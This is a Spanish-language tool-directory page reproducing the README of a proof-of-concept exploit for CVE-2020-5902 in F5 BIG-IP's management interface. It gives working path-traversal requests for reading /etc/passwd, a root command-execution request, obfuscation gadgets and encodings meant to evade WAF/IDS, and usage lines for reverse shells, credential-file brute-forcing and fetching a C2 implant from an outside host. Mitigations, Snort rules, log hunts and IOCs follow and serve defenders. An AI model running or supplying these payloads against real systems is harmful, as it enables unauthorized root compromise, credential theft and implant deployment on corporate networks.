Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
F5-BIG-IP — El F5 BIG-IP es una plataforma de entrega y seguridad de aplicaciones ampliamente utilizada en entornos corporativos. La CVE-2020-5902 es una vulnerabilidad crítica en el TMUI que, en versiones sin parchear, puede permitir acceso no autorizado y ejecución remota de código, lo que refuerza la necesidad de actualización y gestión continua de vulnerabilidades. | Kitploit
Herramientas/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Ver Repositorio
hace 1 mesAún no revisado

Acerca de

El F5 BIG-IP es una plataforma de entrega y seguridad de aplicaciones ampliamente utilizada en entornos corporativos. La CVE-2020-5902 es una vulnerabilidad crítica en el TMUI que, en versiones sin parchear, puede permitir acceso no autorizado y ejecución remota de código, lo que refuerza la necesidad de actualización y gestión continua de vulnerabilidades.

Compartir

CVE-2020-5902 — F5 BIG-IP TMUI RCE

Exploit de prueba de concepto para la vulnerabilidad crítica de path traversal / ejecución remota de código en la Interfaz de Usuario de Gestión de Tráfico (TMUI) de F5 BIG-IP.

⚠️ Solo para pruebas de penetración autorizadas e investigación de seguridad. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso por escrito de probar es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.


Tabla de Contenidos

  • Antecedentes
  • Análisis de la Vulnerabilidad
  • Análisis Técnico en Profundidad
  • Versiones Afectadas
  • Características
  • Instalación
  • Uso
  • Medidas Defensivas
  • Detección y Búsqueda de Amenazas
  • Cronología
  • Referencias
  • Descargo de Responsabilidad

Antecedentes

F5 BIG-IP es una familia de dispositivos de red multipropósito (balanceadores de carga, WAF, controladores de entrega de aplicaciones) desplegados en la mayoría de las empresas Fortune 500, instituciones financieras, organizaciones de salud y agencias gubernamentales de todo el mundo. La Interfaz de Usuario de Gestión de Tráfico (TMUI) — también denominada Utilidad de Configuración — es el portal de gestión basado en web accesible a través del puerto 443 (o 8443).

En julio de 2020, F5 reveló CVE-2020-5902, una vulnerabilidad Crítica (CVSS 9.8) de path traversal sin autenticación en TMUI que permite a un atacante remoto no autenticado:

  • Leer archivos arbitrarios del sistema Linux subyacente (LFI)
  • Ejecutar comandos arbitrarios del sistema operativo como root (RCE)
  • Comprometer por completo el dispositivo y moverse lateralmente hacia redes internas

A los pocos días de la divulgación pública, se observó explotación masiva en entornos reales, incluso por parte de actores patrocinados por estados.


Análisis de la Vulnerabilidad

Causa Raíz

TMUI está construido sobre Apache Tomcat y utiliza un filtro de servlets para imponer la autenticación en los recursos protegidos. La vulnerabilidad radica en cómo Tomcat analiza los segmentos de ruta delimitados por punto y coma (;).

La siguiente solicitud evita la autenticación por completo:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Por qué funciona:

  1. El filtro de servlets de Tomcat ve la ruta como /tmui/login.jsp (termina antes de ;), que es la página de inicio de sesión pública, y permite la solicitud.
  2. El resolutor de URL de Tomcat procesa entonces /..;/ como un path traversal (/../) antes del envío.
  3. La solicitud finalmente se enruta al servlet protegido fileRead.jsp sin autenticación.
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

De LFI a RCE

El servlet tmshCmd.jsp (también accesible mediante el mismo traversal) pasa los parámetros command y utilCmdArgs directamente a tmsh (el shell de gestión de BIG-IP), que envuelve run util bash -c '...'. Esto proporciona ejecución de comandos del sistema operativo a nivel de root sin autenticación:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Análisis Técnico en Profundidad

Flujo de Ataque

root@kitploit:~
Phase 1: Reconnaissance
  └─ TCP banner grab (HTTP/TLS fingerprint)
  └─ SSL certificate analysis
  └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
  └─ BIG-IP version estimation from /etc/f5-release

Phase 2: Vulnerability Check
  └─ Iterate over 6 traversal encoding variants
  └─ Test against 4 known-readable sentinel files
  └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)

Phase 3: Exploitation
  ├─ Vector A: tmshCmd.jsp (primary RCE)
  │    └─ Command obfuscated via base64 / hex-encode gadgets
  ├─ Vector B: fileRead.jsp + command injection in fileName param
  │    └─ OS command injected into the fileName parameter
  └─ Vector C: Log poisoning (User-Agent injection → read access_log)

Phase 4: Post-Exploitation (optional)
  ├─ Interactive shell (command REPL)
  ├─ Reverse shell (4 concurrent one-liners)
  ├─ LFI brute-force (30 sensitive paths, parallel)
  └─ C2 implant deployment (Sliver / Metasploit / custom)

Variantes de Codificación de Path Traversal

Gadgets de Ofuscación de Comandos

La herramienta aplica uno de dos gadgets de ofuscación por ejecución, lo que dificulta la detección mediante firmas estáticas:

root@kitploit:~
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"

Versiones Afectadas

BIG-IQ, BIG-IQ Centralized Management, F5OS y Traffix SDC no se ven afectados por este CVE específico.


Características

  • Path traversal multivariante — 6 permutaciones de codificación para evadir firmas de WAF/IDS
  • Tres vectores RCE independientes — tmshCmd.jsp, inyección en fileRead, envenenamiento de logs
  • Gadgets de ofuscación de comandos — pipelines de codificación base64 y hexadecimal
  • Fase de reconocimiento pasivo — banner TCP, huella SSL/TLS, análisis de cabeceras HTTP
  • Fuerza bruta LFI paralela — 30 rutas sensibles, 10 hilos concurrentes
  • Reverse shells concurrentes — 4 one-liners lanzados simultáneamente
  • Integración C2 — Sliver, Metasploit, implantes personalizados (Linux/Windows/PS1)
  • Cabeceras de evasión — User-Agents aleatorios, cabeceras de spoofing de IP, cabeceras de ruido
  • REPL de shell interactivo — comandos !revshell, !c2, !read, !brute
  • Soporte de proxy — integración con Burp Suite / mitmproxy

Instalación

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

Requisitos: Python 3.10+


Uso

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

Ejemplos

root@kitploit:~
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100

# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

Comandos del Shell Interactivo

Una vez en el modo --shell, están disponibles los siguientes comandos especiales:


Medidas Defensivas

Mitigaciones Inmediatas (si el parcheo aún no es posible)

1. Bloquear el Acceso a TMUI desde Internet

La mitigación más eficaz es garantizar que la interfaz de gestión nunca sea accesible desde redes no confiables:

root@kitploit:~
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

Alternativamente, desde la configuración de Self IP de BIG-IP, asegúrate de que el puerto de gestión no tenga una ruta externa.

2. Aplicar la Mitigación Oficial de F5 (antes del parche)

F5 publicó un script de mitigación que añade una RewriteRule de Apache para bloquear el patrón de traversal:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

Referencia: K52145254 — Pasos de mitigación

3. Parchear — Aplicar la Versión Corregida

La solución definitiva es actualizar BIG-IP a una versión parcheada (consulta la tabla de Versiones Afectadas). F5 corrigió la lógica del filtro de servlets para analizar correctamente los segmentos de ruta delimitados por punto y coma antes de aplicar la autenticación.


Defensas a Nivel de Arquitectura

Acceso de Red Zero-Trust para Planos de Gestión

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  RECOMMENDED ARCHITECTURE                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Production           │
│                      │                                          │
│                      │  (DENY all traffic to mgmt ports)        │
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (management VLAN only)     │
└────────────────────────────────────────────────────────────────┘

Principios clave:

  • Las interfaces de gestión nunca deben estar en la misma IP/puerto que el tráfico de producción
  • El acceso requiere VPN + MFA antes de alcanzar el host de salto
  • El bloqueo de puertos Self IP de BIG-IP debe establecerse en Allow None o Allow Defaults

Reglas de Firewall de Aplicaciones Web

Si hay un WAF delante de la gestión de BIG-IP (poco habitual pero posible en algunas arquitecturas), añade reglas para bloquear:

  • Solicitudes que contengan ; en la ruta de la URL
  • Solicitudes que coincidan con ..; o %3b en los segmentos de ruta
  • Solicitudes a /tmui/locallb/workspace/ desde fuentes ajenas a la gestión

Lista de Verificación de Endurecimiento de Seguridad

root@kitploit:~
[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario

Detección y Búsqueda de Amenazas

Firmas IDS/IPS (Snort / Suricata)

root@kitploit:~
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Patrón de Log de Apache/HTTPD (grep)

root@kitploit:~
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

Consulta SIEM (Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

Indicadores de Compromiso (IOCs)

Patrones de URL:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

Objetivos comunes de los atacantes (archivos accedidos):

root@kitploit:~
/etc/passwd                  — credential harvesting
/config/bigip.conf           — VPN/routing config exfiltration
/config/bigip.license        — license key theft
/config/bigip_user.conf      — local admin account enumeration
/root/.bash_history          — historical command reconnaissance

Cronología


Referencias

  • NVD — CVE-2020-5902
  • Aviso de Seguridad de F5 K52145254
  • Directiva de Emergencia 20-03 de CISA
  • Análisis de Rapid7
  • Cobertura de BleepingComputer
  • Consulta de Shodan: http.title:"BIG-IP" port:443

Descargo de Responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y para evaluaciones de seguridad autorizadas. Está destinada a:

  • Probadores de penetración con autorización por escrito del propietario del activo
  • Investigadores de seguridad que estudian la vulnerabilidad en entornos de laboratorio
  • Defensores que crean firmas de detección y configuraciones de endurecimiento
  • Participantes en competiciones CTF (Capture the Flag)

Usar esta herramienta contra sistemas sin permiso explícito por escrito es un delito penal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act del Reino Unido, la Lei Nº 12.737/2012 de Brasil (Lei Carolina Dieckmann) y las leyes equivalentes en la mayoría de las jurisdicciones del mundo.

El autor y los colaboradores de este repositorio no aceptan ninguna responsabilidad por cualquier daño, consecuencia legal u otro perjuicio derivado del mal uso de este software.


Hecho para la comunidad de investigación en seguridad. Parchea tus sistemas. Protege tus redes.

Descargar herramienta
VariantePayload
Estándartmui/login.jsp/..;/tmui/...
Punto y coma codificadotmui/login.jsp/..%3b/tmui/...
Doble codificación URLtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Doble punto Unicodetmui/login.jsp/%2e%2e;/tmui/...
Variación de mayúsculas/minúsculasTMUI/login.jsp/..;/tmui/...
Confusión de directoriotmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
Rama BIG-IPRango VulnerableVersión Parcheada
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
ComandoDescripción
!revshell <lhost> <lport>Lanza 4 variantes de reverse shell simultáneamente
!c2 <url> <type> [args]Descarga y ejecuta un implante C2
!read <path>Lee un archivo arbitrario mediante LFI
!bruteFuerza bruta sobre 30 rutas sensibles
!exitFinaliza la sesión
<any OS command>Ejecuta mediante RCE e imprime la salida
FechaEvento
2020-06-30Se notifica a F5 de forma privada
2020-07-01F5 publica el aviso (K52145254) y los parches
2020-07-03Se publica un PoC público en Twitter
2020-07-04Múltiples firmas de inteligencia de amenazas observan explotación masiva
2020-07-06CISA emite la Directiva de Emergencia 20-03 que ordena el parcheo federal
2020-07-09Se confirma que actores estatales (APT) explotan la vulnerabilidad en entornos reales
2020-07-15Aproximadamente 8.000 instancias de BIG-IP siguen sin parchear (Shodan)
2020-08-xxLos grupos de ransomware comienzan a atacar dispositivos BIG-IP sin parchear